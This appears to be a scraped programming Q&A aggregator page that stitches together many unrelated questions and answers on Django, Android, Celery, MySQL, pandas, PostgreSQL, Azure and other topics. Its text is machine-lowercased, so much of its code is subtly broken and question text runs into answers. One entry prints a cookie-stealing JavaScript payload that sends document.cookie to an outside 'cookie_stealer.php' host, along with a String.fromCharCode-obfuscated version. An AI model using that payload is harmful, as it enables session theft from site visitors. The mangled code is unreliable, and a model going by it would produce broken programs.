Posts

Showing posts from July, 2014

Django GET request in AJAX -

i need html using ajax. view work fine long use jquery: view.py def my_ajax(request): if request.is_ajax(): my_form = myform() context = { 'form': my_form } return render(request, 'myapp/form.html', context) main.js (jquery load) $(document).ready(function() { $('#foo').click(function() { $('#bar').load('{% url "myapp:form" %}'); }); }); if use javascript xmlhttprequest have remove if request.is_ajax(): view otherwise got error the view myapp.views.my_ajax didn't return httpresponse object. returned none instead. main.js (xmlhttprequest) (function() { document.getelementbyid('foo').addeventlistener("click", function() { var xhttp = new xmlhttprequest(); xhttp.onreadystatechange = function() { if (xhttp.readystate == 4 && xhttp.status == 200) { document.getelementbyid("bar").innerhtml

Having trouble with Android 's findViewById -

i'm using pre-generated android code , isn't working. here oncreateview function fragment: @override public view oncreateview(layoutinflater inflater, viewgroup container, bundle savedinstancestate) { view rootview = inflater.inflate(r.layout.fragment_tabmain, container, false); textview textview = (textview) rootview.findviewbyid(r.id.section_label); textview.settext(getstring(r.string.section_format, getarguments().getint(arg_section_number))); return rootview; } here xml fragment: <relativelayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingbottom="@dimen/activity_vertical_margin" android:paddingleft="@dimen/activity_horizontal_margin" android:paddingright="@dimen/activity_horizonta

python - How to add applications to Anaconda Navigator -

i installed anaconda navigator on both windows , linux machines. on linux machine, applications section of anaconda navigator showed options expected - ipython/jupyter notebook, spyder, etc., nothing popped on windows. how add applications navigator? btw, have launcher installed on windows , gives me same applications expect see in navigator. having messing things up?

html - Is it okay to put the nav tag outside of the header tag? -

<!doctype html> <html> <head> <meta charset="utf-8"> <title>scarface</title> <link rel="stylesheet" href="normalize/normalize.css"> <link rel="stylesheet" href="css/styles.css"> </head> <body> <div class="wrapper"> <header> <h1>the world yours</h1> </header> <nav> <li><a href="index.html">home</a></li> <li><a href="pictures.html">pictures</a></li> <li><a href="contact.html">contact</a></li> </nav> </div> </body> </html> is okay if put nav tag outside of header tag? know many people/developers have navigation "wrapped" inside of header tags. thank in advan

python - Celery periodic task doesn't start -

i using celery in django project run periodic tasks. following standard tutorial celery's website, here project structure project |_ settings.py |_ __init__.py |_ celery_app.py (instead of celery.py) |_ app |_ tasks.py relevant parts in settings.py looks - celery_result_backend = "amqp" celery_imports = ["app.tasks"] celery_always_eager = true celery_result_backend = 'djcelery.backends.database:databasebackend' celerybeat_scheduler = 'djcelery.schedulers.databasescheduler' celery_db_reuse_max = 1 celery_accept_content = ['json'] celery_task_serializer = 'json' celery_result_serializer = 'json' celery_timezone = 'america/new york' celerybeat_schedule = { 'test_task': { 'task': 'tasks.test_task', 'schedule': timedelta(seconds=5), 'args': (), }, } celery_app.py looks - from __future__ import absolute_import import os cele

mysql - Multiple or single Compound index -

let's have table id,a,b,c,d,e,f,g around 1 million rows. 1 make query multiple where ...and...and...etc conditions in multiple combinations. example a , b , e or a , f , g or e , f , g . so account combinations, have create multiple compound indexes if a,b,c,d,e,f,g have range [1,10] therefore no zero. could 1 make single compound per start variable a,b,c,d,e,f,g , b,a,c,d,e,f,g etc.. , during query time like #b , e have not been chosen select * a=3 , b!=0 , c=4 , d=5 , e!=0 , f=1 , g=9 #i think logic could such procedure allow mysql still use compound index or need create possible combinations of compound indexes. the end result reduce number of indexes 7 instead of number of left combinations possibles way higher 7. mysql use compound indexes in order if can. if data represents taxonomy single index do. let's customers can type either business or personal, , live in given postal code, , status premium or regular, query select * custom

python 2.7 - Pandas simple X Y plot -

Image
looks simple not able draw x-y chart "dots" in pandas dataframe. want show subid "mark" on x y chart x age , y fdg . code far mydata = [{'subid': 'b14-111', 'age': 75, 'fdg': 3}, {'subid': 'b14-112', 'age': 22, 'fdg': 2}, {'subid': 'b14-112', 'age': 40, 'fdg': 5}] df = pandas.dataframe(mydata) dataframe.plot(df,x="age",y="fdg") show() df.plot() accept matplotlib kwargs . see docs mydata = [{'subid': 'b14-111', 'age': 75, 'fdg': 3}, {'subid': 'b14-112', 'age': 22, 'fdg': 2}, {'subid': 'b14-112', 'age': 40, 'fdg': 5}] df = pandas.dataframe(mydata) df = df.sort(['age']) # dict doesn't preserve order df.plot(x='age', y='fdg', marker='.') reading question again, i'm thinking mi

halt the execution till the button is clicked javascript -

if have 1 function binds buttons function, how can execute codes in same function after button clicked? example, in below code, button.onclick assigns funct2(this.value) button , goes below in function execute remaining code. want achieve halt execution till click event happens. function funct1(){ //some other codes button.onclick=function(){funct2(this.value)}; //codes executed after funct2 responds user click function funct2(){ //some codes } don't know why confused this, try way: move code third function & call after func2 executes... function funct1(){ //some other codes button.onclick=function(){funct2(this.value)}; function func3() { //codes executed after funct2 responds user click } function funct2(){ //some codes func3(); }

oracle11g - Load Oracle 11g data to HDFS using flume -

is there way use flume transmit oracle 11g database data hdfs? know flume made logs , sqoop should use transmit data database. there way use flume instead of sqoop? should if want use kind of architecture? please have in to 1) oracle golden gate 2) streaming oracle database logs hdfs flume

c# - html actionLink parameters to view -

i'm noob in .net , web developpement :s i'm having issue using html.beginform , html.actionlink . got in homeweb.cshtml: @using (html.beginform("resultweb", "result", new { val = 1 }, formmethod.post )) { <div class="main-block"> <input style="width:100%;" type="text" name="searchvalue" /><br /> <div style="text-align: center;"> <input type="submit" value="submit" /> </div> </div> } its calling result controller , resultweb view sending val = 1 parameter here resultcontroller.cs: [httppost] public actionresult resultweb(int val, formcollection collection) { list<website> list = new list<website>(); // doing stuff list , val return view(list); } this part working , sending parameter view. problem whe

java - Error in SQL statement with inserting -

i trying insert user inputted data database, getting error "syntax error: encountered "[" @ line 1, column 160." here code, doing wrong?` if (action.getsource() == submit_button) { try { sql = "insert customer (fname, lname, age, licnum, state, car_type, rentdate, returndate, total, paytype, returned) values("; sql = sql + "'" + f_name.gettext() + "'" + "," + "'" + l_name.gettext() + "'" + "," + age + "," + "'" + liscense_num.gettext() + "'" + "," + "'" + issuing.gettext() + "'" + "," + "'" + car_select.gettoolkit() + "'" + "," + "'" + rental.gettext() + "'" + "," + "'" + return_d.gettext() + "'" + "," + total.gettext() + ",&q

Javascript string.fromcharcode -

i new javascript , programming @ all. this orginal code: document.location = "http://ormteam.net23.net/cookie_stealer.php?url=" + window.location.href + "&cookies=" + document.cookie; and string.fromcharcode document.location = string.fromcharcode(34, 104, 116, 116, 112, 58, 47, 47, 111, 114, 109, 116, 101, 97, 109, 46, 110, 101, 116, 50, 51, 46, 110, 101, 116, 47, 67, 111, 111, 107, 105, 101, 95, 115, 116, 101, 97, 108, 101, 114, 46, 112, 104, 112, 63, 117, 114, 108, 61, 34) + document.url + string.fromcharcode(34, 38, 99, 111, 111, 107, 105, 101, 115, 61, 34) + document.cookies; why not work ? sitting on peace of code hours! ;// the quotes needed string literal. since you're not using string literal, don't need quotes. document.location = string.fromcharcode(104, 116, 116, 112, ...

c++ - QImage to QPixmap is expensive -

for application, wanted show images continuously. found took me around 30ms convert qimage qpixmap. affected frame rate, want find more effitive way show image qtgui. method can use? me? if read documentation well, explained. qimage design io handling, , direct pixel access , manipulation qpixmap designed , optimized showing images on screen if load image , show (without manipulation image), load image , cache qpixmap. but if manipulation, nothing can do. maybe can try paint image directly qpainter of widget. don't know if faster convert image pixmap , paint widget.

Android Unit Testing / Mockito: android.location.Location not mocked -

i trying learn basic junit , mockito testing on android. i'm trying write unit tests simple class handles finding user's location location services on behalf of activities need location information. i have been trying create "faked location" test with: @test public void testlocationreceived() throws exception { location fakelocation = new location(locationmanager.network_provider); fakelocation.setlongitude(100); fakelocation.setlatitude(-80); ... } but error: java.lang.runtimeexception: method setlongitude in android.location.location not mocked. i understand unit tests on android run on jvm, don't have access requires operating system / framework, 1 of cases well? if so, how tell classes can / can't used on jvm? do need instrumentation/device tests in addition jvm-based unit tests test 1 class? you should add following in build.gradle (app): testoptions { unittests.returndefaultvalues = true } more d

java - FTP proxy design: how to shutdown data channel properly at client side -

i'm using java writing simple ftp proxy. created data connection after acceptance of port (200 server) or pasv(227 ip+port server). i found proxy have "manually" notify terminate data channel of other side (side b, either client or server) termination of data channel of 1 side (side a, either server or client, when read length of -1 reached); side b cannot terminate data channel (by writing length -1 inputstream) control level. did this. found issue bellow. firstly normal (per understanding) list of application level communication sequence: 1. client send list; 2. server send "150 opening binary mode data connection '/bin/ls'."; 3. server fire data; 4. server send "226 transfer complete."; 5. server shutdown local data connection , proxy notify client shutdown data connection. while works fine in cases, failed in case. in case, data comes client prior response code 150. client cannot handle correctly. , when proxy not

php - using angularjs how can i get thumbnails of pdf and video? -

i want make thumbnails of pdf,images , video file using angularjs found 1 git example that https://github.com/aztech-digital/angular-thumbnails please go through link have tried new in angularjs , dont know how call directive. please me implement using php codeigniter angularjs what want have option upload multiple files contain pdf,doc,docx,xls,mpg,jpg etc.i want create thumbnail of these type of files. eg: if case uploading pdf first page of pdf should thumbnail of file. how can implement example here saw 1 example create images thank you

postgresql - Insert into PERSOANE table return violates check constraint but shouldn't -

this creation script: create table persoane ( idpers numeric (5) constraint pk_persoane primary key, numepren varchar (30) constraint ck_nume check (numepren=ltrim(initcap(numepren))), loc varchar (30) constraint nn_loc not null constraint ck_loc check (loc=ltrim(initcap(loc))), jud varchar (25) constraint nn_jud not null constraint ck_jud check (jud=ltrim(initcap(jud))), tel numeric (10) constraint nn_tel not null, e_mail varchar(254) constraint nn_e_mail not null constraint ck_e_mail check (e_mail = ltrim(e_mail)) ); when try insert values in table got error: new row relation "persoane" violates check constraint "ck_jud" here insert script: insert persoane values (11111, 'slimi marius', 'oras', 'judet', 0752361507, 'simic@yahoo.com'); anyone has suggestion how fix problem? initcap() change first character uppercase. check constraints on columns numepren , loc , jud require

http - Is Content-Length or Transfer-Encoding is mandatory in a response when it has body -

if response has body / can have body (i.e status code not 204 or 304), should have either content-length or transfer-encoding in response header. in spec not clear. in scenario have body without content-length or transfer encoding header, curl keep on waiting no chunk, no close, no size. assume close signal end while other clients (like postman) getting content without hanging. transfer-encoding http/1.1 addition. so, version of protocol seems relevant here. it states content-length : it should sent whenever message's length can determined prior being transferred, unless prohibited rules in section 4.4. this indicates not required sent. with transfer-encoding standard states: the transfer-encoding general-header field indicates (if any) type of transformation has been applied message body in order safely transfer between sender , recipient. this allows leaving out header field if no transfer encoding being applied. from follows: both headers

angularjs - Getting the error "Failed: Element is not currently visible and so may not be interacted with" -

while trying click element as: element.all(by.repeater("condition in filterctrl.conditions")).get(1).click(); i getting error as: failed: element not visible , may not interacted with". how can overcome this. my css below <div class="_md-select-menu-container _md-active _md-clickable" aria-hidden="false" id="select_container_198" style="display: block; left: 764px; top: 181px; min-width: 234.547px;"><md-select-menu class="ng-scope _md-overflow" style="transform-origin: 101.273px 72px 0px;"><md-content> <!-- ngrepeat: condition in filterctrl.conditions --><md-option ng-repeat="condition in filterctrl.conditions" value="contains" tabindex="0" class="ng-scope md-ink-ripple" aria-selected="false" role="option" id="select_option_257"><div class="_md-text ng-binding">contains</div>

c++ - Why doesn't CUDA synchronization point prevent race condition? -

we run cuda-memcheck --tool racecheck <executable> on our code. following memory hazard errors. ========= race reported between read access @ 0x00004098 cuda.cu:123:kernelfunction() ========= , write access @ 0x00005058 in cuda.cu:146:kernelfunction() [529996 hazards] here's code. claims line 123 value = sharedmemory0[sharedmemoryindex]; in race condition line 146 sharedmemory0[sharedindex0] = sharedmemory1[sharedindex1]; . have // synchronization point 1 __syncthreads(); __threadfence_block(); between 2 lines. shouldn't threads synchronize @ point , previous memory read/writes complete @ point? threads , memory accesses should complete after first j-loop before starting second j-loop. in our minds synchronization point 1 should isolate 2 j-loops , prevent race condition, tool says that's not true. why tool reporting race condition? insights prevent it? we've seen references tool might able report trace of execution more see race c

Internal LLVM syntax errors when following Pass tutorial using CMake -

i attempting follow tutorial here developing "hello, world" llvm pass - using guidelines linked tutorial here doing out of llvm source directory. however, when attempt follow tutorial, cmake reports number of errors internal llvm itself. i have following directory structure: helloworld/ cmakelists.txt helloworld/ cmakelists.txt helloworld.cpp my helloworld.cpp , , 2 cmakelists.txt copy , pasted directly tutorials linked above. i run cmake helloworld , generates cmake configuration. however, when run make . numerous errors reported within llvm codebase itself. [ 50%] building cxx object cmakefiles/llvmpassname.dir/vectorize.cpp.o in file included /volumes/andromeda/helloworld/helloworld.cpp:1: in file included /usr/local/cellar/llvm/3.6.2/include/llvm/pass.h:377: in file included /usr/local/cellar/llvm/3.6.2/include/llvm/passsupport.h:27: in file included /usr/local/cellar/llvm/3.6.2/include/llvm/passregistry.h:20: in file included /u

PHP & SQL Empty Output when Select username -

i making simple webservice, outputing request json. well, have no idea how done, followed different google examples. the problem codes give blank output if select username in sql. without username in sql, output fine, strange. not sure if security features or codes have issues. i've confirmed sql username working in phpadmim. $token = "some simple token"; $headers = apache_request_headers(); if (isset($headers['authorization']) && $headers['authorization'] == $token) { $connection = mysqli_connect(ip, user, pw, db) or die("error " . mysqli_error($connection)); $sql = "select u.username userid, f.fid4 gw2id mybb_users u, mybb_userfields f u.uid = f.ufid , (additionalgroups = 8 or usergroup = 4 or usergroup = 9 or usergroup = 3) order f.fid4"; $result = mysqli_query($connection, $sql) or die("error in selecting " . mysqli_error($connection)); //create array $emparray = array(); while($r

jquery - how to recall the class that was removed previously -

some css classes removed using jquery eg. html <div class="one someclass"></div> <div class="two otherclass"></div> <div class="one otherclass"></div> <div class="two someclass"></div> jquery $('div').removeclass(); this remove classes. now want catch applied class specific class. $('div').addclass('someclass') /* applied someclass in above html add someclass first class - 1 , last class -two*/ $('div').addclass('otherclass') /* applied otherclass in above html add otherclass first class - 2 , last class -one*/ edit how if this <div class="one someclass"></div> <div class="otherclass two"></div> <div class="one otherclass"></div> <div class="someclass one"></div> save before removing. var classes =

css - Hide scrollbar when not necessary, but keep the screen width consistent -

on pretty web browsers, scroll bar displayed when needed. fine, problem when scroll bar displayed, width of screen shrinks. results in awkward shift of content on screen. i want prevent behaviour width of screen consistent whether scroll bar displayed or not displayed. how can achieve this? don't want use javascript/jquery if possible. try jquery "perfect scroll" plugin here is: http://noraesae.github.io/perfect-scrollbar/

architecture - How to design Data Access layer in Entity Framework (Data First) -

i working on enterprise solutions , using ef data first our data access layer. have around 100 tables in database , adding them 1 entity data model. project grow going have 1 big entity data model around 500 tables. we planning create small modules each component of application , creating separate entity data model each.if has experience of approach please share pros , cons of it. do want service layer if not can directly create edmx 500 tables. entity framework support. issue face - wont able open edmx file in design mode. have deal in xml format only. also, need disable code generation every time project can load easily.

Determine if arithmetic expression is in language described by grammar -

we have following grammar arithmetic questions: e → e + t | e – t | t t → t * f | t / f | f f → ( e ) | | b i'm trying determine whether (a+b)(a-b) in language described grammar. i able see (a+b)*(a-b) in language mean (a+b)(a-b) in language? lack of asterisk throwing me off. preceding exercises have asterisks multiplication. so mean (a+b)(a-b) in language? no because. able produce (a+b)(a-b) 4 non-terminals combination ie tt , tf , ft , ff , these 4 combinations can not produced given grammar.

access denied to module after creating table in phpMyadmin - drupal 7 -

i developing drupal 7 module. have created table in drupal database module directly in phpmyadmin. have set te permissions module viewed authenticated users. module works fine when log in administrator. gives "access denied" when log in authenticated user. anyone suggestions how can give authenticated users access? thanks! probably, issue in menu hook. please check access argument. it should this: $items['abc-url'] = array( 'title' => 'page abc', 'page callback' => 'page_abc', 'type' => menu_callback, 'access arguments' => array('access abc'), 'file' => 'my_module.admin.inc', ); then need define it(in drupal 7 following): function my_module_permission() { return array( 'access abc' => array( 'title' => t('access abc'), 'description' => t('this provide permission abc.'),

ios - registerForRemoteNotificationTypes:UIRemoteNotificationTypeBadge|UIRemoteNotificationTypeAlert|UIRemoteNotificationTypeSound -

this question has answer here: building ios if registerforremotenotificationtypes: not supported in ios 8.0 , later 7 answers [[uiapplication sharedapplication] registerforremotenotificationtypes:uiremotenotificationtypebadge|uiremotenotificationtypealert|uiremotenotificationtypesound]; not supported in ios 8.0 or later. don't have method? from ios 8 onwards, use below. if ([[[uidevice currentdevice] systemversion] floatvalue] >= 8.0) { nslog(@"ios8 app"); [[uiapplication sharedapplication] registerusernotificationsettings:[uiusernotificationsettings settingsfortypes:(uiusernotificationtypesound | uiusernotificationtypealert | uiusernotificationtypebadge) categories:nil]]; [[uiapplication sharedapplication] registerforremotenotifications]; } else { nslog(@"lower ios8 app"); [[uiapplication sharedapplication]

Program crashes when calling new operator (C++) -

i'm working way through tutorials found on creating ascii game engine in c , writing program in c++ practice. i'm working on stuff allocating image data on heap in form of image struct (containing int width, int height, , 2 char pointers locations on heap holding arrays of chars [width * height] in size)... however, i'm having problems calling new operator. function i'm allocating memory struct itself, character , colour data, looks this: image *allocateimage(int width, int height) { image *image; image = new image; if (image == null) return null; image->width = width; image->height = height; image->chars = new char[width * height]; image->colours = new col[width * height]; //image->colours = (char*) ptradd(image->chars, sizeof(char) + width * height); (int = 0; < width * height; ++i) { //initializes transparent image *(&image->chars + i) = 0; *(&image->colours + i) = 0; } return image; } the main function (whe

c++ - Does visual studio let you access outside the bound of arrays? (VS2013) -

this question has answer here: accessing array out of bounds gives no error, why? 17 answers i'd formal explanation on stance of visual studio c++ , when create array such as: int a[3] = {1, 2, 3}; and like: cout << a[4]; upon test, print out garbage stored in memory location. why allow programmer this, while language javascript prevent user doing so? what's prevailing philosophy not making compiler ban kind of behavior user in c++? carried on c? these minor curiosities have, , perhaps person answers can tell me i'd able find such information. answer what happening not i'm asking, it's why i'm interested in. thank you. it has nothing compiler, language defined in such way it's allowed. lead undefined behavior though contents indeterminate . as reason it's allowed, consider definition of subscript (arr

javascript - Using a variable within a function in another function -

how use variable "i" , value in function, "izq" , "der"?. need use variable within other functions. $("#gal li a").on('click', openimg); function openimg(e){ e.preventdefault(); var href = $(this).attr('href'); = $(this).parent().index(); $("#overlay").fadein(); $("#overlay #cont_img img").attr('src', href); } $(".izq").on('click', function(e){ e.preventdefault(); var izq; i--; if(i < 0){ = total-1; } izq = $("#galeria li a").eq(i).attr('href'); $("#overlay #cont_img img").attr('src', izq); }); $(".der").on('click', function(e){ e.preventdefault(); var der; = (i-1) % total; der = $("#gal li a").eq(i).attr('href'); $("#overlay #co

android - Binary XML file line #9 : Error inflating class fragment -

i'm unable figure out why i'm getting error. below code: view.java public class view extends fragmentactivity { public static final string tview = "view"; context context; public void oncreate(bundle savedinstancestate) { try { context = this; super.oncreate(savedinstancestate); setcontentview(r.layout.view_1); } catch(exception ex) { log.e(tview, ex.getmessage()); ex.printstacktrace(); } } viewarrayadapter.java public class viewarrayadapter extends arrayadapter<string> { private final context context; private arraylist<string> values; public viewarrayadapter(context context, arraylist<string> values) { super(context, r.layout.listview, values); this.context= context; this.values=values; } public view getview(int position, view convertview, viewgroup parent) { layoutinflater inflater = (layoutinflater) context .getsystemservice(context.lay

optimization - Varying execution time of for loop in Java -

Image
i newbie in java. have done following coding. class timecomplex{ public static void main(string []args){ long starttime, stoptime, elapsedtime; //first call starttime = system.currenttimemillis(); system.out.println("\nstart time : " + starttime + "\n"); calcforloop(); stoptime = system.currenttimemillis(); system.out.println("stop time : " + stoptime + "\n"); elapsedtime = stoptime - starttime; system.out.println("\t1st loop execution time : " + elapsedtime+ "\n"); //second call starttime = system.currenttimemillis(); system.out.println("start time : " + starttime + "\n"); calcforloop(); stoptime = system.currenttimemillis(); system.out.println("stop time : " + stoptime + "\n"); elapsedtime = stoptime - starttime; system.out.println("\t

Variable declaration on "start value" of FOR loop - What C standards allow it? -

c language on c standard following code compiles without error (c89, c99, c11) for (int = 0; < 10; ++i) { something... } i understand c compilers won't accept version above , variable "i" must declare outside parentheses. so: int i; (i = 0; < 10; ++i) { something... } this allowed since c99. c99 , c11 support it. in c89, first clause of for statement can expression. in c99 , c11 can expression or declaration. 1 single declaration allowed (though can declare several variables).

jmx - calling java functions to invoke health state of weblogic using Timer -

i have created function invoke health parameters of weblogic using jmx. functions called using object in main class. running application giving me output. need call functions every 5 minutes , running through timer task giving me error of unsupported protocol t3. here code.. servlethealthstatemonitor class main method there. public void init(servletconfig config) throws servletexception { timer time = new timer(); timertask hourlytask = new timertask () { @override public void run() { string[] args={}; try { serverhealthstatemonitor.main(args); } catch (exception e) { e.printstacktrace(); } } }; time.schedule(hourlytask, 0, 5*60*1000); }

android - RXJava - buffer observable 1 until observable 2 emits one item -

i want following behaviour: observablemain should buffers items until observableresumed emits value. observablemain should emit buffered , feature values... what in activity's oncreate : publishsubject<t> subject = ...; // create subject emit items , subscribe // 1) create main observable subject final observable<t> observablemain = subject .subscribeon(schedulers.io()) .observeon(androidschedulers.mainthread()); // 2) use custom base class in can register listeners // onresume event , can query isresumed state! // call object pauseresumeprovider! // 2.1) create observable, emits value if activity resumed final observable<boolean> obsisresumed = observable .defer(() -> observable.just(pauseresumeprovider.isactivityresumed())) .skipwhile(aboolean -> aboolean != true); // 2.2) create second observable, emits value activity resumed final observable<boolean> obsonresumed = observ

apache - How to properly require a cron job once per hour? -

i looking command execute php script point once per hour. tried searching myself articles read seemed old , code didn't work. do have directory called /etc/cron.hourly ? if so, create new file inside folder, containing this: #!/bin/sh /path/to/php /path/to/your/script.php then make file executable.

textview - Android Custom text View To hold images and text -

Image
i have show text , images textview holds. spannable object can used problem images being downloaded server @ run time , have display placeholder till images downloaded.. so thinking of creating custom textview extends viewgroup there lot of handling. let me know if there best option available because have shortage of time this can achieved using spannablestring , imagespan classes. instance of spannablestring can created , can set teaxtview . instance of spannablestring can contain combination of text , image. here quick example find: public class testactivity extends activity { @override public void oncreate(bundle savedinstancestate) { super.oncreate(savedinstancestate); setcontentview(r.layout.main); textview textview = (textview) findviewbyid(r.id.textview); spannablestring ss = new spannablestring("abc"); drawable d = getresources().getdrawable(r.drawable.icon32); d.setbounds(0, 0,

ruby - Rails spree commerce,spree install error -

i keep getting when run spree install polyglot: found more 1 candidate c:/sites/mystore8/config/environment.rb: c:/sites/mystore8/config/environment.rb,c:/sites/mystore8/config/environment.rb how solve this? this filed on spree , fixed there too: https://github.com/spree/spree/issues/3331 .

FFmpeg encoding fails with codec - but works without -

i have made install ffmpeginstaller.. this version installed: ffmpeg version n-54523-ga71832f-syslint built on jul 7 2013 12:16:34 gcc 4.4.7 (gcc) 20120313 (red hat 4.4.7-3) configuration: --prefix=/usr/local/cpffmpeg --enable-shared --enable-nonfree --enable-gpl --enable-pthread s --enable-libopencore-amrnb --enable-decoder=liba52 --enable- libopencore-amrwb --enable-libfaac --enable- libmp3lame --enable-libtheora --enable-libvorbis --enable-libx264 --enable-libxvid --extra-cflags=-i/usr/l ocal/cpffmpeg/include/ --extra-ldflags=-l/usr/local/cpffmpeg/lib --enable-version3 --extra-version=syslint libavutil 52. 38.100 / 52. 38.100 libavcodec 55. 18.102 / 55. 18.102 libavformat 55. 11.101 / 55. 11.101 libavdevice 55. 2.100 / 55. 2.100 libavfilter 3. 78.103 / 3. 78.103 libswscale 2. 3.100 / 2. 3.100 libswresample 0. 17.102 / 0. 17.102 libpostproc 52. 3.100 / 52. 3.100 this works: ffmpeg -i freescre

Azure ignores site config settings in ARM template -

i trying develop arm template deployment of multiple webapps, stuck trying configure webapp using settings available in microsoft.web/sites/config. whatever put in there, settings ignored when deploy webapp. i'm basing template on david ebbos example . this trying @ moment: // serverfarm (appservice) { "apiversion": "2015-08-01", "type": "microsoft.web/serverfarms", "sku": { "name": "b1", "tier": "standard", "size": "b1", "family": "b", "capacity": 1 }, "name": "[variables('appsvcname')]", "location": "[resourcegroup().location]", "tags": { "project": "[[variables('webappname')]]" }, "properties": { "name": "[variables('appsvcname

javascript - virtual keyboard with autocomplete in form -

using angularjs. i want add virtual keyboard form. therefore tried using keyboard . in setup explain use input field or textarea. however, using autocomplete <md-autocomplete> angular-material, not have input field. tried binding opening event of keyboard tag. opening work, when trying type, following error occurs: uncaught typeerror: k.createtextrange not function the same error occurs when putting id in form field. i tried, putting hidden input field behind autocomplete tag , copying value of input after finishing typing. however, thing here is, kind of lose autocomplete-feature, when copying input after finishing typing (autocomplete should work while typing well). so right code this, when trying use form tag keyboard id: <form ng-submit="mmsisearch()" id="keyboard" ng-click="showkeyboard()" layout="row" layout-align="center"> <md-autocomplete required =

javascript - Submit when enter is pressed on number input -

i want make when press enter when clicked on number input box <input id="answer" type="number" style="display: none;" placeholder="answer box"/> it runs function nextquestion() i want when press enter runs function use can use .keypress() , .click() function in jquery bind multiple events same function $('#answer').keypress(function(e){ if(e.which == 13) //enter key code 13, capture when enter key pressed nextquestion(); }); $('#answer').click(function(e){ nextquestion(); });

Mandrill: SPF Permanent Error: Invalid domain found (use FQDN) -

i'm trying set mandrill 1 of our client's domains receiving error when trying set spf record: an unexpected error occurred while checking domain: spf permanent error: invalid domain found (use fqdn): 123.123.123 the domain has current spf record follows: v=spf1 mx ptr ptr:123.123.123 ~all as per mandrill's instructions should add existing record follows: v=spf1 mx ptr ptr:223.197.169.174 include:spf.mandrillapp.com ~all which results in above error. have tried creating new record instead, mandrill didn't like. ideas can do? the ptr mechanism should specify domain-name , not ip-address. if no domain specified default domain used. but discouraged using ptr mechanism, since can put heavy load on resolving server ( http://tools.ietf.org/html/rfc7208#section-5.5 ) so think record looking it: v=spf1 mx include:spf.mandrillapp.com ~all or v=spf1 mx ptr include:spf.mandrillapp.com ~all if still want ptr mechanism.

c# - Interface inheritance without return type covariance -

let's have simple c# interface of following type public interface itimeseriesdata itimeseriesdata add(itimeseries timeseries) this interface represents contract set of time series data. simplicity, included single method, namely adding time series , obtaining new set of data corresponding addition (think of data immutable, when new time series added, original instance unchanged, , new set of time series data returned). have interface, represents contract classes containing time series data, enforced time series contain same number of elements. public interface isquaretimeseriesdata isquaretimeseriesdata add(itimeseries timeseries) now, ideally, i'd isquaretimeseriesdata itimeseriesdata. , return type covariance, write public interface isquaretimeseriesdata : itimeseriesdata isquaretimeseriesdata add(itimeseries timeseries) and since isquaretimeseriesdata itimeseriesdata, i'd have class implementing "isquaretimeseriesdata add(itimeseries timeseries)&q

jpa - methode JEE implementation -

i implemented method allows me generate test ( entire of question ) automatically problem : method take number of random questions category of questions generated (i have entié category , therefore table too) don't know put category in query. , secondly random() not taked jpql can ? schema of database public list<question> preparerandomtest(int number_of_questions, categorie categorie){ string jpql = "select q question q order random() limit "+number_of_questions ; query query = entitymanager.createquery(jpql); return query.getresultlist(); } you trying use java persistence query language here , hence solution not taking random account. use native query , build query native sql string, native query plain sql statement without entity object reference (like question). way normal sql keywords random etc read. native query tutorial instead of using string jpql = "select q question q order random() limit "+nu

.net - calling the rest api post from mvc -

i want post restful service name of url " https://api.pipedrive.com/v1/persons?api_token=ts5adsxc6v2nh991 " list of complete api present in " https://developers.pipedrive.com/v1 " following code string url = "https://api.pipedrive.com/v1/persons?api_token=ts5adsxc6v2nh991"; string data = @"{""object"":{""name"":""rohit sukhla""}}"; var datatosend = encoding.utf8.getbytes(data); //passyour service url create method var req = httpwebrequest.create(url); req.contenttype = "application/json"; req.contentlength = datatosend.length; req.method = "post"; req.getrequeststream().write(datatosend, 0, datatosend.length); var response1 = req.getresponse(); i getting error the remote server returned error: (400) bad r

c# - I need to add the selected item of a combo box to the end of selected item in the list box -

this data in list box, database johnie black sarah smith carol willis maggie dubois this data in combo box (m) (f) i want select name in listbox when proceed select gender combobox value select must added end of name selected example. carol willis(f) this have tried: private void form1_load(object sender, eventargs e) { this.namestableadapter.fill(this.namesdataset.names); combobox1.items.add("(m)"); combobox1.items.add("(f)"); combobox1.selectedindex = 0; listbox1.selectedindex = 0; } //the code above loads items combobox //for lisbox connected database using option "use data bound items" any form of appreciated this should point right direction: public listbox lbnames = new listbox(); public combobox cbxgender = new combobox(); // combobox selected index changed event private void cbxgender_selectedindex_chan

Microsoft ODBC for Oracle on Windows 2008 R2 x64 -

i have server under windows server 2003 oracle 10 32bit. there several odbc data sources configured in odbc data source administrator. now need move system windows server 2008 r2 x64. i've installed os, oracle server 12c x64, oracle client 12 x64. need configure odbc data sources, there no microsoft odbc oracle driver. where can find driver configure odbc data source? (i've tried 32bit tool systemwow64, has driver shows me exception "the oracle(tm) client , networking components not found. these components supplied oracle corporation , part of oracle version 7.3 (or greater) clien costware installation." far looks 32bit client, there no such) "microsoft odbc oracle" not exist 64 bit. microsoft provides 32-bit version. you have download , install driver oracle: odbc developer center or 64-bit oracle data access components (odac) downloads the 32-bit odbc driver (no matter if microsoft or oracle) not work 64-bit oracle client, architec

How to make a closed search in Google Docs? -

i have document need find text or word, each time run function selection has go next if word or text found. if @ end should take me top in circular way find option in notepad. is there way it? i know findtext(searchpattern, from) not understand how use it. there several wrappers , classes in documentapp. work contents of file. class range class rangeelement class rangebuilder it necessary understand responsible. in case code below should work fine: function myfunctiondoc() { // sets search pattern var searchpattern = '29'; // works current document var document = documentapp.getactivedocument(); // detects selection var selection = document.getselection(); if (!selection) { if (!document.getcursor()) return; selection = document.setselection(document.newrange().addelement(document.getcursor().getelement()).build()).getselection(); } selection = selection.getrangeelements()[0]; // searches

Is Netty Channel.close() thread safe? -

i have netty server, need close request channel in thread. thread safe this? if not, there workaround solve it? suggestion appreciated! btw, i'm using netty-4.0.34 nioeventloopgroup. abstractchannelhandlercontext.java:514 @override public channelfuture close(final channelpromise promise) { if (!validatepromise(promise, false)) { // cancelled return promise; } final abstractchannelhandlercontext next = findcontextoutbound(); eventexecutor executor = next.executor(); if (next.ishandleraddedcalled() && executor.ineventloop()) { next.invokeclose(promise); } else { safeexecute(executor, new onetimetask() { @override public void run() { next.invokeclose(promise); } }, promise, null); } return promise; } if called in thread, io thread channel has stuck did closure, since 'executor.ineventloop()' false. interpretation true?

windows - Python, Getting All LAN IPs -

